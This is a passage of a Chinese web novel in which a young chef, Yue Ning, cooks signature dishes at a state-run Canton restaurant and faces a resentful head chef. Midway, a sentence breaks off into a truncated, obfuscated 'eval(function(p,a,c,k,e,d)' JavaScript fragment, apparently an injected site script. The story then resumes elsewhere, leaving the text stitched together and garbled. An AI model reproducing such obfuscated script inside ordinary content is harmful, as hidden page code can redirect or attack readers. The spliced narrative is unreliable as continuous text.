岳宁还不忘叮嘱：“阿星时间差不多了鸡皮囊清洗干净擦干水分先晾着暂时别用风扇吹。另外泡发的香菇切丁香菇水、海米水和泡瑶柱的水过滤一下吃过饭我要生炒糯米饭。” “生炒糯米饭鸡肚子里的糯米饭不是蒸的？”马耀星问。 岳宁心里有数脚下却没控制好一脚踢过去：“整鸡脱骨你不会也就罢了那确实难。鸡肚子里的糯米饭都不知道是生炒的？我爸去西北才多久这是我爸根据淮扬名菜八宝葫芦鸭改良的是福运楼的特色之一啊！” 马耀星被她踢了一脚委屈地大声嚷嚷：“我师傅没教过。” 罗世昌听见转头看向马耀星马耀星与他对视再次强调：“师傅确实没说过没说过怎么脱骨也没说过糯米饭要生炒。” 周老爷子说：“他自己都不会怎么跟你说？” “他不会拆骨但他爸还有岳师傅肯定教过他他就是不肯说罢了。”马耀星偏要把话挑明。 罗世昌这会儿气得头上都快冒火了脸阴沉着：“都愣着干嘛 ？接单子炒菜。” 马耀星围着岳宁转，见她身旁的牛河邦正在炒菜，便拍马屁说：“小岳师傅，我们阿邦叔炒的牛河在粤城那是一绝，他这手艺还是您爸爸教的呢！” 岳宁看了一眼牛河邦的炒锅：“我爸不会这么教，他这是瞎炒。” “在粤城，居然有人说牛河邦瞎炒牛河？”有个厨子哈哈大笑起来。 鱼骨放进砂锅炖，鱼肉煎了泡水，岳宁舀水涮锅：“阿邦叔自己心里清楚，对吧？” 牛河邦张开大嘴，笑得开心：“说出来干嘛？” 那个厨子边出菜边问：“那你倒是说说，不瞎炒，该怎么炒？” 岳宁转身去压了鱼茸，这下周老爷子算是亲眼见识到了，原来拆鱼羹能做得这么快？ 鱼汤还得炖一会儿，岳宁说：“阿邦叔是在偷懒，我正好也要炒，我炒的这个牛河，是我爸教的，正宗的老手艺。” 牛河邦笑着说：“那你让这帮小子见识一下你爸的手艺。” “好。”岳宁在锅里放油，再倒入小半碗红糖粉，马耀星不解：“小岳师傅，你这是干啥？” 牛河邦往锅里加老抽，解释道：“她在熬滴珠油呢！” “滴珠油？” “不用老抽，用红糖熬制的滴珠油，不仅能上色，还带有焦糖的香气。用它炒出来的干炒牛河才够香。”牛河邦向大家解释道。 周老爷子笑着调侃：“牛河邦，你啥都清楚啊？” 牛河邦瞧见张经理陪着宋局长走进来，笑着回应：“周三爷，我这是有觉悟。全市大小国营餐馆都是兄弟单位，咱们这条街上的为民饭店，基本就靠卖炒河粉和肠粉营生。我要是再把牛河炒得更好，福运楼的牛河都卖光了，那隔壁为民饭店可怎么活呀？您说是不是这个理儿？” 厨子们听了，都哈哈大笑起来。岳宁熬好红糖，加入调料，调配出颜色深褐、浓稠的滴珠油，说道：“阿邦叔，您这集体意识挺强啊？” “不能脱离群众嘛。我现在这水平，在这儿已经算是拔尖的了。大家想吃牛河都来找我，要是我再炒得更好，那可咋整？怎么着也得给兄弟们留条活路，给兄弟单位留条出路呀。”牛河邦说着，又往锅里倒入一盘河粉。 周老爷子走到宋自强身旁，说道：“不会做饭的就算了，可会做饭的，也懒得用心做好。” 宋自强昨天就头疼，今天愈发头疼了。之前他只看到了表 面现象，觉得下面单位不行，如今透过现象看本质，才发现大家完全没有积极性。 岳宝华也大开眼界，宝华楼的厨子虽说天赋有限，但炒菜时可不敢偷工减料。可这儿的人都是怎么回事啊？他不禁担心，这些人要是去了宝华楼，把这些陋**也带过去，那可如何是好？ “岳师傅，您多炒一份，让我们也尝尝这味道。 “肯定有你们的份儿。岳宁对张经理他们说，“宋局长、张经理，你们和我两位爷爷一起出去吧，马上就能开饭了。 周老爷子不肯走，说道：“我来端牛河出去。 “我在厨房待了这么多年，多待一会儿也没啥。岳宝华同样不愿离开。 他们俩都不走，张经理和宋自强也只好留下来，索性都看岳宁炒河粉了。 岳宁先热锅冷油润锅，然后把油倒出，放入河粉，拿起长筷开始翻炒河粉。有个厨子感到疑惑，问道：“不是应该先炒牛肉吗？ “要是先炒牛肉，等河粉出锅时，牛肉就变老了。牛河邦解释道，此时他也在炒牛河，不过他依旧先炒牛肉。 岳宁翻炒了两下，将河粉炒散，河粉微微散发着焦香，她便把河粉盛出，接着炒牛肉，直到牛肉也散发出香气，再把牛肉盛出，然后炒豆芽和韭黄，每样食材都分开炒制，最后才将它们混合在一起。 牛河邦则是先炒牛肉，接着放入河粉，最后加入豆芽和韭黄，没有分开炒制的步骤。 两人都在添加调料，岳宁这边，料汁在猛火的作用下，一股浓烈的烟火气升腾而起。在烟火缭绕的后厨中，这股香气瞬间成了厨房里的主导味道。 第 34 章 传承 第34章第34章 【传承】 岳宁的干炒牛河和牛河邦的干炒牛河同时出锅,这便应了一句老话：不怕不识货，就怕货比货。 单说香气，岳宁的这盘完胜。色泽方面,两盘都红亮,岳宁的那盘呈现出丝绸般的光泽,而牛河邦那盘则是油亮。 “我有多少年没吃过这味道的干炒牛河了？”周老爷子喜滋滋地亲自来端这盘牛河，“宋局长，走咯。牛河得趁热吃。” 他们往外走,岳宁对岳宝华说：“爷爷，您也先出去吧！我做好拆鱼羹就来。” 岳宁转身去做拆鱼羹，她身后，马耀星和几个厨子拿着筷子尝她炒的牛河。他们以前都觉得干炒牛河油肯定会多些,猛火炒出镬气就行。可现在呢？ 罗国强上次吃过岳宁做的炒洋芋饼饼,吃出了干炒牛河的味道。但这次岳宁的干炒牛河又颠覆了他印象中的干炒牛河，香而不腻,河粉干爽，牛肉滑嫩，芽菜和韭黄脆嫩。相比之下,他自己炒的、阿邦叔炒的,似乎都不配叫干炒牛河了。 牛河邦笑嘻嘻地吃了一口：“宁宁，你这是得了岳哥的真传啊！” “阿邦叔，您瞎炒都能炒到这个程度，也算是得了我爸的真传，您啊,就是懒。” “我要是做得这么麻烦,那一天到晚都得不停地炒了。”牛河邦继续炒着他一锅出的干炒牛河。 “小岳师傅，您剩下的这点滴珠油,没用了吧？我拿去炒，行不？”有个厨师问道。 “拿去吧！” 这人兴匆匆地拿去，又问：“先炒河粉对吧？” “河粉炒散，微微发黄，这样吃起来才干爽。”岳宁说道。 岳宁一边做菜，一边指导那人炒河粉。 突然，罗世昌像发了疯似的冲了过来：“够了没有？” 他把还剩下两三口的干炒牛河，连盘子一起摔在地上。瓷器碰到**石地板，发出清脆的崩裂声，河粉溅开，散落一地。 这一幕打断了原本热烈的讨论，罗世昌冲到岳宁面前，脸都快扭曲了：“你给我滚出去！” 大家都看得莫名其妙，愣在原地，只有岳宁不紧不慢地把鱼汤倒进锅里，激起一阵别样的香气，她说：“我是你们局领导请来的客人，有本事跟你领导说去。” 罗国强冲过来拉住他爸：“爸，您这是干什么呢？宁宁是来交流，是 来帮助我们的。 “她是吗？罗世昌吼道。 昨天下午他接到那个消息，他不明白岳宝华为什么要让他如此难堪。他让国强娶岳宁，本是觉得自己能力有限，儿子有天赋，希望儿子做了岳家女婿，岳宝华能倾囊相授；也认为岳宁一直在西北生活，西北那种地方长大的小姑娘肯定没见识，没机会学什么，再说后厨向来是男人的天下，哪见过女人当大厨的？儿子配她，也算是替志荣照顾女儿了，两边都合适。不愿意就算了，不强求。可他们祖孙俩为什么要来这么一招？ 从昨天下午到今天早晨，他们一家就像个笑话。别人有港城的亲戚都能沾光，他们家呢？就这么来羞辱他吗？ 直到那股熟悉的香气飘起，罗世昌仿佛又回到了十几年前。他和志荣的手艺都是他爸教的，可他跟志荣的差距怎么就那么大呢？ 同在一个厨房，志荣做的菜，那香气压得他喘不过气。后来岳志荣去了西北，他爸心疼得不行，而他却感到前所未有的轻松。 这股香气让一直压抑着怒气的罗世昌终于忍不住爆发了。 “这里是福运楼的后厨，你给我滚！罗世昌吼得脑门青筋暴起，声嘶力竭。 马耀星怕师傅真的发疯，一把抱住罗世昌：“师傅，师傅，冷静点，是领导让小岳师傅来的，您不是也说自己不会吗？ 罗世昌一想起马耀星刚从岳宁手里学了个拆鸡骨，就恨不得跪在地上讨好她，顿时气得牙根痒痒：“你也滚！ 岳宁丝毫没受影响，加入配菜，用炒勺搅动着拆鱼羹，侧头看着罗世昌说：“如果福运楼是你罗家的，我管你教不教？反正倒闭了，也是你家破产。可这是国营企业，是国有资产。现在改革开放了，以后港商、外商也会来开酒楼。你想想，要是宝华楼开在福运楼隔壁，福运楼还会有人来吃吗？没生意，这么多在职职工、退休职工的工资从哪儿来？ 岳宁上辈子的父亲也是这样的人，守着自己那点手艺，刚开始连她这个女儿，有些配方都不肯教。实在是儿子不成器，没办法了，才非要她保证，学会后要留在自家酒楼。她当时立马扔了炒勺，让父亲爱教谁教谁去。 她离开了家里的酒楼，她弟弟又没本事，父亲中风后，力不从心，家里的酒楼渐渐没了客人，还欠下了一屁股债。父亲求她救救酒楼，她一口就拒绝了。给没有生命力的酒楼注 入资金，就如同养活一个行尸走肉。 她的宁烧腊，所有菜品都有标准流程，配方被人盯着学；她的宁宴，作为高端餐饮，厨师是关键，外头高薪挖他们的厨子，宁宴确实也成了粤菜厨师培训学校。那又怎样？一家家骂着宁烧腊，喊着正宗广式烧腊，打着“宁宴平替“宁宴主厨主理的旗号，不还是蹭她的流量？ 营销手段只是辅助，雇佣优秀人才、推陈出新、严格品控，才能保持生命力。 岳宁舀了一勺马蹄粉搅匀，给拆鱼羹勾芡：“另外，你们一家四口都在福运楼。你两个儿子都到了找对象的年纪，想过你今天这个举动会有什么后果吗？你要是打算破罐子破摔，那就闹！还想有回转余地的话，去拿扫把，把地扫干净。 一家子全在福运楼，一个有家有口的中年男人往往最不堪一击。罗世昌气得浑身发抖：“你…… “你觉得我欺人太甚？我是让你到此为止，别闹到不可收拾的地步。外头待岗的人那么多！岳宁的拆鱼羹出锅，倒进汤碗里。 厨房里出了这么大的事，有人跑去叫了张经理。张经理进来时，正碰到端着碗往外走的岳宁。岳宁说：“张经理，好好给我罗伯伯做做思想工作。 岳宁刚出厨房门口，就遇上了不放心赶来的岳宝华。岳宁把碗递给岳宝华：“他总得接受现实。 自己可以看在罗爷爷的面子上，不计较罗世昌想吃绝户的心思，但福运楼后厨这么多大大小小的厨子，被压得没了心气，对得起这块老招牌吗？ 上辈子她收购过一家背景和福运楼相似的老字号。那家老字号1983年跟港商合资，港商没经营好，1988年又回到国有，九十年代末又跟另一家港商合资，十年后再次失败告终。眼见要倒闭关门，她的粉丝们在评论区诉说着童年的回忆。 不为赚钱，就为了粉丝，她决定收购这家负债累累的老字号，并入宁宴旗下。原本打算做真正的宁宴平替，然而真到手后，研究历史、考察菜品，和粉丝们互动交流，追寻他们记忆中的味道，复刻一道道老菜品。原本只是想宠粉，没想到这家老字号复活了，活出了它本该有的样子，成了粤城的一个打卡点。 一个和自己无关的老字号，她都愿意去救，更何况这是福运楼啊！爷爷、罗爷爷和爸爸学手艺的地方，她这辈子的手艺也大多源自福运楼的传承。 她还能让罗世昌留在这里吗？ 岳宁来到大厅。自从打倒地主老财后，大家都是劳动人民，也就没有了包房的概念。宋自强和周老爷子都朝她这边看过来。 岳宝华把拆鱼羹放在桌上，对周老爷子说：“周老，尝尝宁宁的拆鱼羹。 岳宁看到她面前的碗里留着小半碗干炒牛河，岳宝华说：“你周爷爷把第一口留给你了。 “谢谢周爷爷！岳宁低头吃河粉。 “你做饭给我吃，还谢我？周老爷子边舀拆鱼羹边说，“阿女，你这手艺一点儿都不输给你爸爸啊！ 岳宁摇头：“其实这干炒牛河，如果阿邦叔认真炒，会比我炒得更好。他偷懒，为了省事连着炒，在牛肉过老和河粉没炒干之间做了折中。我看他对火候的掌握恰到好处，‘牛河邦’这个名号，名不虚传。 “唉！他啊！周老爷子摇头叹息。 “绝了！这拆鱼羹真的绝了。胡主任一惊一乍的，把旁边几桌的目光都吸引了过来。 周老爷子也正在喝：“这拆鱼羹的味道，跟小岳做得一模一样。 岳宁上辈子做的拆鱼羹或许还有不同，这辈子爸爸给她做、教她，后来爸爸走了，她想念爸爸，做的时候，不知不觉就往爸爸做的口味靠拢，成就了这碗最有岳志荣味道的拆鱼羹。 胡主任是本地人，福运楼是他们下属的饭店，福运楼的每一道招牌菜，他能不熟悉吗？周老爷子喝这拆鱼羹，就像老茶客、老烟客，已经到了品的境界。 宋自强是从外地刚调过来的，不至于品出其中有多大差异，只觉得确实不太一样，回味起来齿颊留香，还想再来一碗。 岳宝华黯然神伤，这碗拆鱼羹比他亲手做的还要好。老食客说那是志荣的味道。 隔壁桌忍不住了，一个人问：“到底是什么样的？ 周老爷子说：“把你的碗拿过来。 这人还真把碗拿了过来，周老爷子接过碗，给他舀了小半碗。这位接过碗说：“谢谢啊！ 刚拿到手，他就闻到了香气，这股香气勾得他嘴里口水直冒，舌头都忍不住了。他甚至没来得及坐下，就喝了一口。这真的是拆鱼羹吗？ 看着他小心翼翼的样子，像极了街边那些十天半个月都没吃过一顿饱饭的叫花子，如此珍惜这小半碗拆鱼羹，同桌的人被他勾起了十足的胃口，有人问：“不会比碗仔翅还好吃吧？ “好吃。跟碗仔翅是两种味道。 “我们也加一道拆鱼羹？他们桌的人说。 周老爷子得意洋洋：“这可不是福运楼的厨子做的。 “不是福运楼的厨子做的，怎么能在福运楼吃呢？ “对啊！对啊！这话可真奇怪。在福运楼吃饭，却不是福运楼厨子做的，那是谁做的？ 宋自强站起来说：“同志们，听我说，我是福运楼上级单位的。福运楼这些年技艺有所退步，所以我们请了已故国家名厨罗长发师傅的师弟，港城宝华楼老板，岳宝华岳大厨来我们这儿指导。这拆鱼羹是他孙女做的。刚才你们说很香的干炒牛河，也是她做的。希望有他们的帮助，福运楼能够重现当年的盛况。 “今天这干炒牛河确实不一样，我这盘也香很多，牛肉也嫩，好吃！ “我们这边的也是这样？不都是牛河邦炒的吗？ “不不不，不是牛河邦炒的。牛河邦炒的牛河我吃得出来，这盘更香，牛肉更嫩，滋味足，没牛河邦炒的那么油。 “…… 周老爷子问岳宁：“他们那桌的牛河也是你炒的？ “不是，那个小伙问我要了剩下的滴珠油去炒牛河。我就给他指点了几句，是他炒的。岳宁舀着拆鱼羹说，“厨房里其实有功底、有本事的人还真不少。马耀星的基本功很好，下午我再试试他炒菜的手艺。阿邦叔就更不用说了。问我拿滴珠油炒牛河的那个小伙子，对火候的掌控也很到位。常见的几道菜，稍微点拨一下，他们就能上一个台阶。 张经理匆匆过来，在宋自强身边坐下。宋自强问：“怎么样？ “我让他先回去好好想想清楚。张经理头疼地说，“但现在福运楼后厨要是没了他，也很麻烦。有谁能接下这摊子呢？ “把干休所的姚元福调回来，把罗世昌调到干休所。罗世昌的手艺在干休所肯定够用，干休所没什么发展，但级别不低。姚元福去干休所也就七八年时间，他熟悉福运楼，过来就能上手。跟姚元福谈谈现在福运楼的情况。周老爷子侧身到宋自强边上，轻声说道。 上面从外地调宋自强过来任职，也是因为他在地方上做出的政绩。二商系统需要改变，尤其是宾馆和饭店这些接待行业，急需变革。这么调人，领导会支持。 “我先谢谢周老了。 岳宁听了，不禁感慨， 也只有现在，只有国营单位，还会为罗世昌考虑出路。要是换成民营企业，这种人早就被扫地出门了。 岳宁快速扒拉了几口饭，然后站起来说：“你们慢慢吃，我去炒糯米了。 “我也一起去。 岳宝华站起身，和岳宁一起回厨房。 她刚踏进厨房，那个拿了她滴珠油的厨子快哭出来了：“小岳师傅，一下子来了十来份指定要我炒的河粉，您那点滴珠油已经用完了。 “让老岳师傅给你们多熬些。等午市结束，让他再仔细教你们，怎么样？岳宁看向岳宝华。 “小岳师傅，您这是倒反天罡啊？老岳师傅都敢安排？马耀星跑过来调侃。 “阿星，等你有个孙女，小小年纪手艺就和你差不多了，我看你愿不愿意被她安排？牛河邦笑着说道。 岳宝华把红糖倒进锅里，笑着说：“宁宁比我强多了，她跟她爸爸一样懂得融会贯通。我是要饭出身，当年福运楼的蒋老板给我们这群小子一口饭吃，让我们进来打杂，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周老爷子说道：“你懂什么？五十年代末福运楼一桌菜要九十多块这一只鸡就值三十多块呢！” “啊？一只鸡比我一个月的工资还高？”这个小伙子彻底惊呆了。 牛河邦叼着烟一边炒菜一边说道：“这菜又不是给你吃的。那都是给过去的地主老财吃的他们就喜欢怎么麻烦怎么折腾。” “您注意点啊可别把烟灰掉进锅里。”岳宁翻了个白眼“就算是给劳动人民做菜也得用心点儿。” “师傅再这么炒下去晚上用的牛肉都不够午市卖了。”切墩的学徒提醒道。 牛河邦对打荷的人说：“去跟外头说别再接干炒牛河的单子了。” 宋自强笑着对胡主任说：“老胡给肉联厂打电话让他们马上送牛肉过来。我倒要看看咱们福运楼认真做菜的时候能有多红火。” 牛河邦扔掉烟蒂无奈地继续去炒牛河。今天这一天难道要炒出他之前一个礼拜炒的牛河量？而且还是这么麻烦的炒法。 岳宁这边糯米饭已经炒得差不多了。观摩的厨子们感觉眼睛好像看会了但手却根本做不来。又是煮又是炒这个味道淡些那个味道浓些这个先放那个后放脑子不太灵光的根本记不住。 岳宁盛出糯米饭说道：“我喜欢在里面放板栗肉。当然糯米饭里的八宝食材也没有固定的搭配可以根据季节进行调整。现在我们来填鸡肚子把鸡拿过来。 ” 马耀星把鸡拿了过来，岳宁说：“你来填鸡肚子，填到八分满就行。要是填得太满，等会儿烧鸡的时候容易爆开。” 马耀星把鸡填好后，在一旁等着。岳宁过去教他如何把鸡头和鸡翅绕起来打结，说：“八宝葫芦鸭是用线缝的，咱们就偷懒点儿，直接打结就行。好了，接下来烫皮、擦干，再挂脆皮水。脆皮水的方子就在那儿，不用我再教了吧？” “那我去弄啦。”马耀星兴高采烈地去了。 岳宁去寻找材料，提了一篮子瓜果、萝卜、红薯过来。 “小岳师傅，您这是要做摆盘吗？”有人问道。 “没错！”岳宁拿来一套雕刻刀放在旁边，又去找盘子。 她先用黄瓜切片，拼出一龙一凤的围边，中间正好用来放糯米鸡。接着调了酱汁，用筷子蘸着酱汁在盘边写下“八珍肴龙凤，此出龙凤外”。 别说其他人看得目瞪口呆，就连岳宝华，虽说已经和孙女相处了好些日子，也想不到她还有这一手，毕竟他这个老厨子可不会这些。 周老爷子摇头晃脑地念道：“‘八珍肴龙凤，此出龙凤外。荔枝配江（左虫右兆），徒夸有风味。’这是宋代诗人白珽夸赞八珍肴的诗句，前面两句用在这脆皮八宝糯米鸡上，倒也十分应景。不过，就算是福运楼全盛时期，也没有哪个厨子有你这本事啊！” 岳宁手里拿着萝卜雕刻牡丹，说道：“当年那个想学这手艺的厨子去了西北。刚好西北有个会书画的知识分子，两人一合计，就把希望寄托在了我这个胖丫头身上。我爸说起过淮扬菜的兴盛，淮扬菜的顶级厨师，不仅菜要做得好，还得有文化底蕴，其中不乏书画双绝之人。” 百花酿鸭掌的围边用牡丹造型，冰镇咕噜肉那道菜，用黄瓜拼出葫芦形状，再用胡萝卜雕刻出绳子和流苏。 岳宁做好几个盘饰时，福运楼今天的午市也差不多结束了。 牛河邦把锅一扔，说道：“晚上谁爱炒谁炒，我是不炒了。” 张经理赶忙过去递烟，说：“阿邦，今年先进就评你了？” 阿邦接过香烟，说道：“到年底还有半年呢，我天天累死累活，累得腰都快断了。评个先进，一年也就多几十百来块奖金，外加一张奖状，这能解决我啥问题呢？” 他走到岳宁身边，看着那几个让一群没见过世面的小子惊得说不出话的盘饰，接着说：“我又不像这丫头，她以后在港城做菜，别说一只鸡卖三十块，就算卖三百、三千，只要做得足够好，噱头够足，照样有人愿意掏钱。我十六岁进福运楼，今年都三十四了，工资才四十三块五。到现在，我还跟爹妈和哥哥挤在十平米的竹筒屋里。这张奖状能换房子吗？能帮我找个老婆吗？” 他看了一眼宋自强，说：“局长，我这人说话直，您可别介意。” 说完，他便走了出去。谁他妈不想好好干活呢？可好好干活不得有个盼头吗？ 第 35 章 带货达人 第35章第35章 【带货达人】 鸡还在风干,岳宁忙活了许久，便放下手头的活儿，走了出去。 爸爸总提起那个嘴唇像挂着两根辣椒的阿邦叔,不只是因为教过他手艺,更是因为阿邦叔刚进福运楼做小学徒时,特别勤快。爸爸说阿邦叔是他们那一批小子里最有潜力的。可如今，这样一个人，在生活的重压下,性子变得如此别扭。 牛河邦在角落里抽烟。要是他毫无心气，今天中午也不会炒那么多牛河，可炒完又能怎样呢？ 他并非福运楼职工子弟，是街道考虑到他有个患小儿**哥哥,才把他安排进福运楼。 家里没人在福运楼工作,甚至都不属于二商局系统。单位分房，肯定优先考虑双职工都在福运楼,甚至几代人都在这个系统的，然后才轮到他们这些外来人员。住房紧张到这种程度，他分到房子的可能性微乎其微。他也不过是发发牢骚罢了。 “阿邦叔。 听到声音,牛河邦转过身：“宁宁啊！ “阿邦叔,您知道我为什么会记得您吗？岳宁问他。 牛河邦抽了口烟，说：“你这么聪明，记得我，不是很正常吗？ “可我离开的时候才五岁，您还记得自己五岁时的那些事吗？ 牛河邦摇了摇头。岳宁笑着说：“只要我不肯好好学,我爸爸就会说：‘宁宁啊,你可别像你阿邦叔，这小子不听话,还没学会走路就想跑。’‘宁宁啊，你怎么跟你阿邦叔一样，就知道偷懒。’…… “你爸就不能记点我好的？牛河邦没好气地说，他那时还是个半大小子，确实没什么耐心。 “我们去河边走走吧？岳宁带着他来到河边，“我爸爸说您很有天分，是你们那一批里最有出息的。 牛河邦的两片厚嘴唇颤抖起来，香烟都夹不住了，最终掉落在地。他仰头说道：“我没出息，我连一份牛河都不肯好好炒。 “叔，跟我去港城吧。我再穷再难的时候，我爸说我以后肯定有出息，我信了。他说您有出息，那您就一定有出息。岳宁看着他说道。 “宁宁，我年纪大了，再说就算学了回到福运楼…… “哪儿大呀！您才三十三。您去港城把其他手艺学全了，三十五岁回来做大厨。要是当不了大厨，咱们就开个小 饭店，这样您爹妈和哥哥也有依靠了。要是不去，这么一直过下去，您甘心吗？ “我…… “树挪死，人挪活。岳宁看着他，“跟您说实话，宝华楼也没那么好。我爷爷的徒弟另开了一家酒楼，现在正跟宝华楼竞争呢。我有本事，也相信自己能稳住局面。可光靠我们祖孙俩，太难了。您一直记着我爸的好，对我来说靠得住啊！一个好汉三个帮，不是吗？ “这样啊！ “有这个机会，我把您的名额放进去，不好吗？岳宁问道。 牛河邦的手不经意间掠过眼睛：“我去的话，你把马耀星也带上。这小子没地方学，可学过的都很精通了。 “那肯定的。两人想到一块儿去了。 “对了，志荣哥几时落葬？ 岳宁说：“明天。爷爷是要饭到粤城的，本来我们家有亲戚关系的也就罗家一家子了。可闹成这样，亲戚也做不成了。就我们祖孙俩把他葬了。 牛河邦说：“我去给志荣哥磕个头。 “嗯。岳宁笑着看他，“走吧！您手艺这么好，回去好好教教他们，他们也得有糊口的本事。 牛河邦笑起来：“你跟你爸一样，总逼着我们学手艺。 “我爸养大的，肯定随我爸。 岳宁和他一起往里走，见他又点了烟，岳宁说：“阿邦叔，在我的厨房，不允许抽烟。去港城前，您得改掉在厨房抽烟的习惯。我不希望客人在菜里吃出烟蒂。 “不会的。牛河邦说。 岳宁很认真地说：“烟灰也不行。 四目相对，牛河邦猛抽了几口，掐灭了烟：“这下行了吧？ 岳宁笑着和他走进福运楼。 牛河邦朝二楼望去，休息的大多是服务员和勤杂工。厨房的那些人，还是聚在厨房，围着岳宝华。岳宝华正在指导刚才那个炒河粉的小伙子熬滴珠油，小伙子生怕做错，抬头看着岳宝华。岳宝华说：“火候还没到，慢慢来。 绝大多数人还是想好好学手艺的。 岳宁退出去，拍了拍马耀星的肩膀，问：“国强去哪儿了？ 她吃完饭回来就没见罗国强，马耀星说：“陪我师傅回家了，领导让我师傅回家。 “走吧！我们去看看两只鸡怎么样了？ 马耀星带着岳宁去风干间，风干间里有一大堆正在吹干的鹅、鸭，这是准备晚上晚市用的。 马耀星摸着他们的两只鸡说：“这干得好像比其他鸡鸭快。 “方子做过调整，主要是因为今天时间紧。要是有足够时间，晾干一晚，减少白醋和米酒的用量，效果会更好。 “我知道了。 “走吧！晚上才是重头戏，我们去准备。 两人走进厨房，岳宁把一块五花肉递给马耀星，比划着方向：“给我切成能透光的薄片。 “菜单上，没有肉片这道菜啊？ “冰镇咕噜肉。岳宁说。 马耀星挠挠头：“冰镇咕噜肉不是切成小块吗？怎么会是薄片呢？ “我今天做的菜，那可是达官贵人云集的福运楼出品，就为了口感上的细微差别，就得穷折腾、死折腾。 马耀星连连点头：“对对对，我来切。 咕噜肉如此，百花酿鸭掌也是这样，古法蒸鲈鱼更是如此，主打一个怎么麻烦怎么来。 传统的百花酿鸭掌，是用虾滑酿在脱骨鸭掌上，岳宁在虾滑里还要加上墨鱼粒，吃起来要有颗粒感。 周老爷子作为一个老饕，向宋局长介绍，咕噜肉为什么要用五花肉切片，为什么要用蛋黄和淀粉上浆后，卷成一个小球再炸，这和五花肉切小块之间的细微区别。 宋自强出身无产阶级，只觉得这么做纯粹是多此一举。可他还得附和周老爷子，说这是中国美食文化。 晚市开始了，似乎没人觉得罗世昌不在有什么问题。 下午岳宝华教了这群厨子怎么做滴珠油之后，大家已经熟悉了流程。那些孩子一有问题就问他，他欣然解答。他本就是酒楼老板，福运楼这么多年来变化不大，这会儿他自然而然地替代了罗世昌，巡视起厨房来。 “哇，这谁下得了口啊？小学徒惊叹道。 岳宁用山药、红薯分别加牛奶炼乳，调制成了山药泥和红薯泥，又用红苋菜汁与山药泥混合。可惜现在没有紫山药和紫薯，苋菜汁在口味上总归差了一点。 粉红到纯白渐变的荷花瓣，橙色红薯做的花蕊，一朵娇艳欲滴的荷花出现在盘子里。菠菜汁和山药泥做成的荷叶，上面叶片脉络都清晰可见。绿色的莲蓬上有白色的莲子，最绝的是，用白色山药泥和橙色红薯泥做成的一大一小两条金鱼。 宋自强这会儿告诉自己，这就是文化，还真是文化。 小学徒发出赞叹声，岳宁抬头问：“想学？ 小 学徒先点头，又摇头：“我没这本事。 “我教你个简单的。 “真的吗？ “嗯。 岳宁给小学徒展示了切芹菜的手法，问他：“看会了没？ “会了，会了，我都做两年切墩了。 “那就好，你切好了，放进这盆凉水里，等会儿我来教你调汁。 岳宁去拿卷好的猪蹄，等她回来，小学徒喊道：“小岳师傅，我切好了。 她看了一眼盆里，拿了洋葱、香菜和香葱给小伙子：“洋葱切块，香菜和香葱切段。 小学徒很快就弄好了，问道：“小岳师傅，接下来呢？ 岳宁一边切猪蹄卷，一边说：“去把芹菜捞起来。 “小岳师傅，它卷成花了。小学徒惊叫起来。 马耀星端着他做好的蛏子莴笋卷走过来，敲了敲小学徒的脑袋：“你平时切葱丝不也会卷起来，一个道理。 小学徒举起一片芹菜：“你看，你看，这就是一朵凤凰花呀！ 岳宁招呼小学徒：“我们来摆盘。 卷成凤羽状的芹菜错落有致地堆在白瓷盘中，撒上红黄彩椒粒，小伙子说：“好漂亮。 “简单吧？岳宁问。 “嗯。 “我们一起熬个辣椒油。 不光是粤菜，整个粤省几个流派的菜都很少用辣椒。在西北生活了这么多年，岳宁早已离不开那一口油泼辣子。 西北人家家家户户都离不开油泼辣子，而且西北家家户户的油泼辣子又各有不同。 岳宁让小徒弟把粗细两种辣椒面混合，再加上盐、芝麻和花椒粉，用白酒打湿。 做油泼辣子的油必须用菜籽油，岳宁自己的配方是，这油里还得加葱姜蒜和香菜，把这些调味菜的香味炸出来。 “小岳师傅，可以了吗？小学徒已经问了岳宁很多次。 “可以了，捞出葱姜蒜，泼油。 这次他终于得到了肯定的回答。一勺热油“滋啦 岳宁又依次说出调料，让小伙子调汁，最后在他调好的料汁里加入这一勺红亮如朝霞的辣椒油，她说：“浇汁儿。 料汁从上而下淋在芹菜上，这一盘凉拌芹菜居然有了一种活色生香的美感。 小学徒有些不敢相信，这一盘漂亮 得不像话的芹菜居然出自自己之手。 “是不是很简单？ “嗯，嗯！小学徒弯腰仔细看着。 岳宁心想，这个时候，要是像上辈子一样有手机就好了，小学徒就能拍下来发朋友圈了。 “小岳师傅，您真的好厉害啊！ “你也很有天赋。 得到这样的夸奖，小学徒高兴得差点飞起来。 虽然爸爸和莫伯伯对她很严格，但他们从不吝啬夸奖，常常夸得她心花怒放，心甘情愿地学得更好、做得更好。好孩子是夸出来的，对小学徒来说尤其如此。 岳宁用黄瓜搭了扇骨，白卤猪蹄为扇面，做好了最后一道凉菜。 她说：“凉菜先出。阿星，你可以去烤鸡了，先烤二十五分钟，根据上**况再做调整。 “好嘞！ 凉菜送出去后，岳宁伸手示意：“周爷爷，可以落座了。 周老爷子呼出一口气：“阿女啊！你周爷爷见多识广，你做的这个菜我见过，可这样有韵致的摆盘，我还真没见过。 “啊？连周爷爷都没见过吗？我被我爸给骗了，他骗我说周爷爷要求可高了，能得到周爷爷的夸奖，是他做厨子最大的荣耀。岳宁把原因都推到她爸头上。 “能吃到你爸的菜，是食客最大的享受。现在看来你比你爸更胜一筹了。 风雨飘摇的民国，怎么能比得上稳定繁华的二十一世纪？福运楼的巅峰时刻，最多也就和她的宁宴相当。她亲手做菜的那家餐厅，吃的哪里是菜，分明是一种格调。 “岳师傅，出去坐吧。周老爷子喊岳宝华。 “稍等，我去换身厨师服。 四个与劳动人民日常饮食完全不同的冷菜上桌，旁边桌的客人看到后，都站起来围观：“这是什么呀？你们福运楼有这些菜？ “这是菜吗？怎么这么好看？ 有一个人站起来，就有第二个人站起来，接着一大群人都站起来了。 “听说今天有解放前从福运楼去港城的大厨回福运楼指导，所以今天的干炒牛河特别好吃。我就是听我们科室的大姐说了，特地过来的。 “这是解放前的大厨做的？ “可真厉害啊！ “这么说现在的福运楼和解放前的福运楼其实完全不一样了？ “现在的福运楼就剩下个招牌了吧？实际上菜早就不是以前福运楼的菜了？ “ 当年福运楼……” 